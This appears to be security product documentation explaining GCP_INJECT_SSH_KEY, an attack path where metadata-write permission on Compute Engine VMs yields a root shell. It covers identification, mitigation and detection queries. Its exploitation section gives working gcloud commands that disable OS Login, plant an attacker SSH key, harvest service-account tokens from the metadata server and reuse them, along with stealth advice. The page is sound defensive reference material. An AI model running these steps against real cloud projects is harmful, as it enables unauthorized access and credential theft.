> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_inject_ssh_key.md).

# GCP\_INJECT\_SSH\_KEY

## Summary

|                            |                                                                                                                       |
| -------------------------- | --------------------------------------------------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | GCP\_INJECT\_SSH\_KEY                                                                                                 |
| **GCP Alias**              | Compute Execution & Pipeline Pivots                                                                                   |
| **Affected Object Types**  | Virtual Machines                                                                                                      |
| **Exploitation Certainty** | Likely                                                                                                                |
| **Granting Roles**         | `roles/owner`, `roles/editor`, `roles/compute.admin`, `roles/compute.instanceAdmin.v1`, `roles/compute.instanceAdmin` |

## Description

`GCP_INJECT_SSH_KEY` indicates that an identity can write **instance or project metadata** on a GCE VM and thereby plant its own SSH public key, obtaining an interactive shell on a machine it was never granted login access to. The relevant permissions are:

| Permission                                   | Scope of effect                                                         |
| -------------------------------------------- | ----------------------------------------------------------------------- |
| `compute.instances.setMetadata`              | A single instance — plants a key in that VM's `ssh-keys` metadata       |
| `compute.projects.setCommonInstanceMetadata` | Every VM in the project that does not set `block-project-ssh-keys=TRUE` |

The guest environment agent running on each VM polls its metadata and **provisions a local Linux account for any key it finds in `ssh-keys`**, granting it `sudo`. Writing metadata is therefore equivalent to creating a privileged local user, and no SSH-related permission is required to do it.

When OS Login is enforced, the guest agent ignores metadata SSH keys, which appears to neutralise this edge. It does not: `enable-oslogin` is *itself* a metadata key. An identity holding `setMetadata` can set `enable-oslogin=FALSE` and restore metadata-key processing before planting its key. The control that is supposed to contain the attack is writable by the same permission the attack uses.

**Relationship to `GCP_SSH_TO`:** Both edges end in a shell on a VM. [`GCP_SSH_TO`](https://docs.forestall.io/fsprotect/edges/gcp/gcp_ssh_to) uses the sanctioned OS Login path with an IAM-bound identity, and is fully attributable in audit logs. `GCP_INJECT_SSH_KEY` fabricates a *local* account instead, so subsequent SSH activity is not tied to any Google identity — the only IAM-attributable event is the metadata write itself. It is the stealthier of the two, and unlike `GCP_SSH_TO` it does not depend on OS Login being enabled.

As with any shell on a GCE VM, the objective is usually the **metadata server** rather than the host. A shell yields an OAuth token for the service account attached to the instance (see [`GCP_RUNS_AS`](https://docs.forestall.io/fsprotect/edges/gcp/gcp_runs_as)), so the effective privilege gained is that of the VM's service account, which is frequently far broader than the compute role that enabled the injection.

## Identification

### gcloud CLI

```bash
PROJECT_ID="my-project"

# Find principals holding metadata-write roles
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("compute.admin|compute.instanceAdmin|roles/editor|roles/owner")) | {role: .role, members: .members}'

# Confirm a custom role carries the metadata permissions
gcloud iam roles describe ROLE_ID --project=$PROJECT_ID \
  --format="value(includedPermissions)" | tr ';' '\n' | grep -E "setMetadata|setCommonInstanceMetadata"

# List VMs with the two properties that decide exploitability
gcloud compute instances list --project=$PROJECT_ID \
  --format="table(name, zone, status, serviceAccounts[0].email, metadata.items[enable-oslogin], metadata.items[block-project-ssh-keys])"

# Project-wide metadata — keys here reach every VM that does not block them
gcloud compute project-info describe --project=$PROJECT_ID \
  --format="value(commonInstanceMetadata.items)"

# Existing SSH keys on an instance (review for keys nobody recognises)
gcloud compute instances describe VM_NAME --zone=ZONE --project=$PROJECT_ID \
  --format="value(metadata.items.filter(\"key:ssh-keys\").extract(\"value\"))"
```

A VM is exposed to project-level key injection whenever `block-project-ssh-keys` is absent or `FALSE`. A VM is exposed to instance-level injection regardless of that setting, and `enable-oslogin=TRUE` only mitigates it for attackers who cannot also rewrite metadata.

### GCP Console

1. Open **GCP Console** → **Compute Engine** → **Metadata** to review project-wide metadata, including any `ssh-keys` entries that apply across all VMs.
2. Open **Compute Engine** → **VM Instances** → select an instance → **Edit**. The **Metadata** and **SSH Keys** sections show instance-level entries; **Service accounts** shows the identity a shell would inherit.
3. Check **IAM & Admin** → **IAM** for `Compute Admin`, `Compute Instance Admin (v1)`, `Editor`, and `Owner` grants.
4. Inspect custom roles under **IAM & Admin** → **Roles** for `compute.instances.setMetadata` or `compute.projects.setCommonInstanceMetadata`.

## Exploitation

```bash
PROJECT_ID="my-project"
VM_NAME="target-vm"
ZONE="us-central1-a"

# 1. Pick a target — prefer instances with high-privilege SAs attached
gcloud compute instances list --project=$PROJECT_ID \
  --format="table(name, zone, status, serviceAccounts[0].email, serviceAccounts[0].scopes)"

# 2. Generate a throwaway key pair
ssh-keygen -t ed25519 -f ./injected_key -N "" -C "attacker"

# 3. If OS Login is enforced, disable it first — enable-oslogin is just metadata
gcloud compute instances add-metadata $VM_NAME --zone=$ZONE --project=$PROJECT_ID \
  --metadata enable-oslogin=FALSE

# 4a. Inject into a single instance (compute.instances.setMetadata)
echo "attacker:$(cat ./injected_key.pub)" > ./keyfile.txt
gcloud compute instances add-metadata $VM_NAME --zone=$ZONE --project=$PROJECT_ID \
  --metadata-from-file ssh-keys=./keyfile.txt

# 4b. Or inject project-wide (compute.projects.setCommonInstanceMetadata)
#     Reaches every VM without block-project-ssh-keys=TRUE
gcloud compute project-info add-metadata --project=$PROJECT_ID \
  --metadata-from-file ssh-keys=./keyfile.txt

# 5. Log in as the account the guest agent created for the key
EXTERNAL_IP=$(gcloud compute instances describe $VM_NAME --zone=$ZONE --project=$PROJECT_ID \
  --format="value(networkInterfaces[0].accessConfigs[0].natIP)")
ssh -i ./injected_key attacker@$EXTERNAL_IP
```

When appending to existing keys, read the current `ssh-keys` value and write it back together with the new entry — `add-metadata` replaces the whole key, so overwriting it removes legitimate access and is likely to be noticed.

With a shell established, harvest the attached service account's token:

```bash
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
```

The token is usable against Google APIs from anywhere until it expires:

```bash
TOKEN="ya29...."
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects" | jq '.projects[].projectId'
```

If no external IP is present, the same session is available through an IAP tunnel with `roles/iap.tunnelResourceAccessor`:

```bash
gcloud compute ssh attacker@$VM_NAME --zone=$ZONE --project=$PROJECT_ID \
  --tunnel-through-iap --ssh-key-file=./injected_key
```

## Mitigation

1. **Enforce OS Login with an organization policy** — apply the `compute.requireOsLogin` constraint at org or folder scope. Set as an org policy it cannot be undone by a metadata write, which is what makes it effective; instance metadata alone is not a sufficient control.
2. **Set `block-project-ssh-keys=TRUE` on every VM** so project-wide metadata keys cannot reach it, and enforce this at provisioning time rather than retrospectively.
3. **Treat `roles/compute.instanceAdmin.v1`, `roles/editor`, and `roles/owner` as shell-on-every-VM roles.** Do not grant them for routine compute operations; prefer narrowly scoped custom roles that exclude `compute.instances.setMetadata` and `compute.projects.setCommonInstanceMetadata`.
4. **Audit custom roles for the metadata permissions** — either permission is equivalent to root SSH on the instances in scope, and neither is obvious from a role's name.
5. **Attach minimal-privilege service accounts to VMs** and never the default Compute Engine service account with broad scopes. This caps the value of any shell obtained this way.
6. **Block metadata server access** from workloads that do not need it.
7. **Restrict `roles/iap.tunnelResourceAccessor`**, which removes network reachability as a barrier.

## Detection

The metadata write is the one reliably attributable moment in this attack — SSH activity afterwards belongs to a local account with no Google identity behind it. Detection should centre on the write.

| Log Type       | Method                                          | Key Fields                                                                   |
| -------------- | ----------------------------------------------- | ---------------------------------------------------------------------------- |
| Admin Activity | `v1.compute.instances.setMetadata`              | Instance-level metadata write — inspect for `ssh-keys`, `enable-oslogin`     |
| Admin Activity | `v1.compute.projects.setCommonInstanceMetadata` | Project-wide metadata write — affects all unprotected VMs                    |
| Admin Activity | `v1.compute.instances.insert`                   | New VM created without `block-project-ssh-keys=TRUE`                         |
| Admin Activity | `SetIamPolicy`                                  | New `compute.instanceAdmin*`, `compute.admin`, `editor`, or `owner` bindings |

```bash
PROJECT_ID="management-project-486413"

# Metadata writes at instance and project scope
gcloud logging read \
  'protoPayload.methodName=~"compute.instances.setMetadata|compute.projects.setCommonInstanceMetadata"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName, protoPayload.resourceName)"

# New grants of metadata-write roles
gcloud logging read \
  'protoPayload.methodName="SetIamPolicy" AND
   protoPayload.serviceData.policyDelta.bindingDeltas.role=~"compute.instanceAdmin|compute.admin|roles/editor|roles/owner"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"
```

Alert on:

* Any write of `ssh-keys` metadata, at instance or project scope, by a principal that is not the expected provisioning pipeline.
* `enable-oslogin` being set to `FALSE` — legitimate operations rarely disable OS Login, and doing so is a strong precursor to key injection.
* Project-wide `setCommonInstanceMetadata` calls, which affect every VM without `block-project-ssh-keys=TRUE` at once.
* SSH logins by local Linux accounts that do not correspond to any OS Login identity.
* Metadata server token requests from a VM shortly after a metadata write to that same instance.
* VMs created without `block-project-ssh-keys=TRUE`, which enlarges the project-wide injection surface.

## References

* <https://cloud.google.com/compute/docs/connect/add-ssh-keys>
* <https://cloud.google.com/compute/docs/metadata/overview>
* <https://cloud.google.com/compute/docs/oslogin/set-up-oslogin>
* <https://cloud.google.com/compute/docs/access/service-accounts>
* <https://cloud.google.com/iap/docs/using-tcp-forwarding>
